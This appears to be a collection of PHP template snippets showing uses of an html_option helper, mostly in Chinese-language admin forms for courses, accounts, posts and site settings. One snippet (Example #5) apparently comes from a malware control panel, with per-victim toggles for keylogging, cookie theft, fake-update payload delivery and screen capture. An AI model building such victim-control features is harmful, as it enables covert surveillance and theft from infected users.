Example #1
0
$this->get_header();
?>
	<h1>为专业或班级添加选课</h1>
	<form class="add_form" method="post" action="<?php 
echo get_url('Scores', 'add_ajax');
?>
">
		<div class="form-group">
			<label class="sr-only" for="ID_cio_id">学院</label>

			<div class="input-group">
				<div class="input-group-addon">学院</div>
				<select class="form-control" id="ID_cio_id">
					<option></option>
					<?php 
echo html_option(get_college_info(), "");
?>
				</select>
			</div>
		</div>
		<div class="form-group">
			<label class="sr-only" for="ID_id_year">年级</label>

			<div class="input-group">
				<div class="input-group-addon">年级</div>
				<select class="form-control" id="ID_id_year">
					<option></option>
				</select>
			</div>
		</div>
Example #2
0
					<option value="">全部</option>
					<?php 
echo html_option(array_number_dd(date("Y"), 2001, true), date("Y"));
?>
				</select>
			</div>
		</div>
		<div class="form-group">
			<label class="sr-only" for="ID_mc_number">学期</label>

			<div class="input-group">
				<div class="input-group-addon">学期</div>
				<select name="mc_number" class="form-control" id="ID_mc_number">
					<option value="">全部</option>
					<?php 
echo html_option(array_number_aa(1, 5, true), 1);
?>
				</select>
			</div>
		</div>
		<div class="form-group">
			<button type="submit" class="btn btn-primary">查看</button>
		</div>
	</form>
	<table id="Scores_table" class="table table-striped  table-hover" style="display: none;">
		<thead>
		<tr>
			<th>课程</th>
			<th>老师</th>
			<th>年份</th>
			<th>学期</th>
Example #3
0
?>
" id="EditAdminName">
		</div>
		<div class="form-group">
			<label class="control-label" for="EditAdminStatus">状态</label>
			<select id="EditAdminStatus" name="status" class="form-control">
				<?php 
echo html_option([0 => '启用', 1 => '限制登录', 2 => '限制权限'], $__info['a_status']);
?>
			</select>
		</div>
		<div class="form-group">
			<label class="control-label" for="EditAdminRole">角色</label>
			<select id="EditAdminRole" name="role" class="form-control">
				<?php 
echo html_option($__role_list, $__info['r_id']);
?>
			</select>
		</div>
		<div class="form-group">
			<label class="control-label" for="EditAdminIP">允许的IP访问
				<small class="text-danger">每行一个,*为通配符,必须存在,否则禁止登录</small>
			</label>
			<textarea class="form-control" id="EditAdminIP"
					  name="ip"><?php 
echo htmlspecialchars(implode("\n", explode("|", $__info['a_ip'])));
?>
</textarea>
		</div>
		<div class="form-group text-right">
			<button class="btn btn-primary" type="submit">更新</button>
Example #4
0
				<label class="control-label" for="AddAdminPWD">密码</label>
				<input type="password" name="pwd" class="form-control" id="AddAdminPWD">
			</div>
			<div class="form-group">
				<label class="control-label" for="AddAdminStatus">状态</label>
				<select id="AddAdminStatus" name="status" class="form-control">
					<option value="0">启用</option>
					<option value="1">限制登录</option>
					<option value="2">无权限</option>
				</select>
			</div>
			<div class="form-group">
				<label class="control-label" for="AddAdminRole">角色</label>
				<select id="AddAdminRole" name="role" class="form-control">
					<?php 
echo html_option($__role_list, "");
?>
				</select>
			</div>
			<div class="form-group">
				<label class="control-label" for="AddAdminIP">允许的IP访问
					<small class="text-danger">每行一个,*为通配符,必须存在,否则禁止登录</small>
				</label>
				<textarea class="form-control" id="AddAdminIP" name="ip">192.168.*</textarea>
			</div>
			<div class="form-group text-right">
				<button class="btn btn-primary">添加</button>
			</div>
		</form>
	</div>
Example #5
0
echo $value["browser"];
?>
</td>
                      <td><?php 
echo $value["browser_ver"];
?>
</td>
                      <?php 
echo html_option($value["client_id"], "keylogger", $value["keylogger"]);
?>
                      <?php 
echo html_option($value["client_id"], "cookies", $value["cookies"]);
?>
                      <? if(empty($value["payload_url"])) echo html_option($value["client_id"], "no_payload", "Payload URL not set"); else echo html_option($value["client_id"], "fake_update", $value["fake_update"]); ?>
                      <?php 
echo html_option($value["client_id"], "screen_capture", $value["screen_capture"], $value["scr_cap_interval"]);
?>
                      <td><?php 
echo time_elapsed_string($value["first_added"]);
?>
</td>
                      <td><a href="settings.php?cid=<?php 
echo $value["client_id"];
?>
"><p class="text-purple"><b>Settings</b></p></a></td>
                    </tr>
                    <?
                    }
                    ?>    
                  </tbody></table>
                </div><!-- /.box-body -->
Example #6
0
							<label class="col-sm-2 control-label">描述</label>

							<div class="col-sm-10">
								<textarea rows="3" name="desc" class="form-control"><?php 
    echo $data['pic_description'];
    ?>
</textarea>
							</div>
						</div>
						<div class="form-group">
							<label class="col-sm-2 control-label">图片状态</label>

							<div class="col-sm-10">
								<select name="status" class="form-control">
									<?php 
    echo html_option(['0' => '关闭状态', '1' => '正常分享状态'], $data['pic_status']);
    ?>
								</select>
							</div>
						</div>
						<div class="form-group">
							<label class="col-sm-2 control-label">评论数</label>

							<div class="col-sm-10">
								<input class="form-control" type="number" readonly value="<?php 
    echo $data['pic_comment_count'];
    ?>
"/>
							</div>
						</div>
						<div class="form-group">
Example #7
0
?>
" disabled>
			</div>
			<div class="form-group">
				<label class="control-label" for="InputStatus">状态</label>
				<select id="InputStatus" class="form-control" name="status">
					<?php 
echo html_option(['0' => '草稿', '1' => '已发布'], $__info['post_status']);
?>
				</select>
			</div>
			<div class="form-group">
				<label class="control-label" for="InputCommentStatus">评论状态</label>
				<select id="InputCommentStatus" class="form-control" name="allow_comment">
					<?php 
echo html_option(['0' => '不允许', '1' => '允许评论'], $__info['post_allow_comment']);
?>
				</select>
			</div>
			<button class="btn btn-primary">更新</button>
		</div>
	</div>
	<input type="hidden" name="id" value="<?php 
echo $__info['post_id'];
?>
">
</form>
<script>
	$("#InputContent").markdown({onPreview: function (e) {
		var previewContent;
		var originalContent = e.getContent();
Example #8
0
    ?>
				</div>
			</div>
			<div class="col-md-4">
				<div class="form-group">
					<label class="control-label" for="InputTime">创建时间</label>
					<input id="InputTime" class="form-control" disabled value=" <?php 
    echo $__info['gallery_create_time'];
    ?>
">
				</div>
				<div class="form-group">
					<label class="control-label" for="InputCommentStatus">是否允许评论</label>
					<select class="form-control" id="InputCommentStatus" name="gallery_comment_status">
						<?php 
    echo html_option(['0' => '关闭评论', '1' => '允许评论'], $__info['gallery_comment_status']);
    ?>
					</select>
				</div>
				<div class="form-group">
					<p class="help-block">
						评论数量:<span class="label label-info"><?php 
    echo $__info['gallery_comment_count'];
    ?>
</span>
						喜欢人数:<span class="label label-info"><?php 
    echo $__info['gallery_like_count'];
    ?>
</span>
					</p>
				</div>
Example #9
0
<form class="form-horizontal" action="<?php 
echo get_url("UserControlApi", "cdn");
?>
" method="post" style="max-width: 1000px">
	<fieldset>
		<legend>CDN设置</legend>
		<div class="form-group">
			<p class="col-sm-offset-3 help-block">如果要添加对HTTPS或HTTP的支持,请添加两个地址,并使用竖杠分割,HTTP为第0个,HTTPS为第一个,http://x.c/<b>|</b>https://xx.c</p>
		</div>
		<div class="form-group">
			<label class="control-label col-sm-3" for="Status">是否开启CDN</label>

			<div class="col-sm-9">
				<select name="status" class="form-control" id="Status">
					<?php 
echo html_option(['0' => '关闭CDN', '1' => '启用CDN'], cdn_info('status') ? '1' : '0');
?>
</select>
			</div>
		</div>

		<div class="form-group">
			<label class="control-label col-sm-3" for="get_static_style_url">get_static_style_url</label>

			<div class="col-sm-9">
				<input type="text" name="list[get_static_style_url]" placeholder="静态样式地址" id="get_static_style_url"
					   value="<?php 
echo cdn_info('filed', 'get_static_style_url');
?>
" class="form-control">
			</div>
Example #10
0
                break;
            case "select":
                ?>
								<select <?php 
                echo $filed_status;
                ?>
 class="form-control" id="ID_<?php 
                echo $name;
                ?>
" name="<?php 
                echo $name;
                ?>
">
									<option value="">--下拉选择--</option>
									<?php 
                echo html_option(isset($v['select_func']) ? call_user_func($v['select_func']) : (isset($v['select_list']) ? $v['select_list'] : []), $show_value);
                ?>
								</select>
								<?php 
                break;
            case "textarea":
                ?>
								<textarea <?php 
                echo $filed_status;
                ?>
 class="form-control" id="ID_<?php 
                echo $name;
                ?>
"
																	   name="<?php 
                echo $name;
Example #11
0
                <div class="form-group">
                    <div class="input-group col-sm-3">
                        <label for="country_id" class="input-group-addon">Country</label>
                        <select id="country_id" name="country_id" class="form-control">
                            <?php 
echo html_option("CountryID", "CountryName", $countryData, $countryID);
?>
                        </select>
                    </div>
                </div>
                <div class="form-group">
                    <div class="input-group col-sm-3">
                        <label for="city_id" class="input-group-addon">City</label>
                        <select id="city_id" name="city_id" class="form-control">
                            <?php 
echo html_option("CityID", "CityName", $cityData, $cityID);
?>
                        </select>
                    </div>
                </div>
            </form>
        </div>
        <div class="panel-footer" align="center">
            <button type="button" class="btn btn-primary action-btn" onclick="SaveData();">Save</button>
            <button type="button" class="btn btn-primary action-btn" onclick="window.open('location-list.php','_self');">Cancel</button>
        </div>
    </div>
</section><!--/#registration-->

<?php 
require_once 'footer.php';
Example #12
0
   <form>
    <fieldset>
     <legend>From</legend>
     <label>Source : <select name="source">
      <?php 
echo html_option('mtgjson', 'MTGJSON', $source);
?>
      <?php 
echo html_option('mci', 'Magic Cards Info', $source);
?>
      <?php 
echo html_option('mv', 'Magic Ville', $source);
?>
      <?php 
echo html_option('mv_dom', 'Magic Ville DOM', $source);
?>
     </select></label>
     <label>Ext code (in source) : <input type="text" name="ext_source" value="<?php 
echo $ext_source;
?>
"><label>
    </fieldset>
    <fieldset>
     <legend>To</legend>
     <label>Ext code (in DB) : <input type="text" name="ext_local" value="<?php 
echo $ext_local;
?>
"></label>
     <label><?php 
echo html_checkbox('apply', $apply);
Example #13
0
?>
</section>

<section id="country-edit" class="container" style="height:793px;">
    <div  class="panel panel-primary">
        <div class="panel-heading">
            <h3 class="panel-title">Country Edit Form</h3>
        </div>
        <div class="panel-body" align="center">
            <form class="center" role="form" id="CountryForm" name="CountryForm" method="post">
                <div class="form-group">
                    <div class="input-group col-sm-3 form-inline">
                        <label for="country_id" class="input-group-addon">ID</label>
                        <select id="country_id" name="country_id" class="form-control">
                            <?php 
echo html_option("CountryID", "CountryID", $countryData, $Id);
?>
                        </select>
                    </div>
                </div>

                <div class="form-group">
                    <div class="input-group col-sm-3">
                        <label for="country_name" class="input-group-addon">Name</label>
                        <input type="text" id="country_name" name="country_name" placeholder="Country Name" class="form-control" value="<?php 
echo $Name;
?>
">
                    </div>
                </div>
            </form>
Example #14
0
				<input type="email" name="admin_email" class="form-control" value="<?php 
echo admin_email();
?>
" id="inputAdminEmail"
					   placeholder="邮箱地址">

				<p class="help-block">用于网站的系统提示等通知</p>
			</div>
		</div>
		<div class="form-group">
			<label for="inputSiteMode" class="col-sm-2 control-label">网站模式</label>

			<div class="col-sm-10">
				<select name="site_mode" class="form-control" id="inputSiteMode">
					<?php 
echo html_option(['http' => 'http', 'https' => 'https', 'all' => '兼容两者'], site_mode());
?>
				</select>

				<p class="help-block">网站的自定义网址前缀,必须以斜杠结尾</p>
			</div>
		</div>
		<div class="form-group">
			<label for="inputSiteUrl" class="col-sm-2 control-label">网站地址</label>

			<div class="col-sm-10">
				<input type="url" name="site_url" class="form-control" value="<?php 
echo site_url();
?>
" id="inputSiteUrl" placeholder="url">
Example #15
0
                echo $search_name;
                ?>
"><?php 
                break;
            case "select":
                ?>
						<select name="<?php 
                echo $search_name;
                ?>
" class="form-control" id="ID_<?php 
                echo $search_name;
                ?>
">
							<option value="">&nbsp;</option>
							<?php 
                echo html_option(isset($search['list_call']) ? call_user_func($search['list_call']) : (isset($search['list']) ? $search['list'] : []), $__query->search_value($search_name));
                ?>
						</select>

						<?php 
                break;
        }
        ?>
			</div>
		</div>

	<?php 
    }
    echo "<button type=\"submit\" class=\"btn btn-primary\">查询</button></form>";
}
if (!$__query->has_data()) {
Example #16
0
    public function get_page_nav()
    {
        $rt = "";
        if ($this->all_page > 1) {
            $s = "";
            $last = NULL;
            foreach ($this->get_nav_list() as $v) {
                if ($last !== NULL && $last != $v - 1) {
                    $s .= "<li class=\"disabled\"><a href='#'> ...</a></li>";
                }
                $last = $v;
                $c = $v == $this->p ? " class=\"active\"" : "";
                $s .= "<li{$c}><a href=\"" . $this->build_url($v) . "\">{$v}</a></li>";
            }
            $pg_nvm = html_option([10 => "10条/页", 20 => "20条/页", 50 => "50条/页", 80 => "80条/页", 120 => "120条/页"], $this->getN());
            $rt .= <<<HTML
<nav>
  <ul class="pagination">
  <li class="disabled"><a href="#">共{$this->number_all}</a></li>
  {$s}
  <li class="disabled"><a href="#" onclick="return false;"><select id="PageNavChange">{$pg_nvm}</select></a></li>
  </ul>
</nav>
HTML;
        }
        return $rt;
    }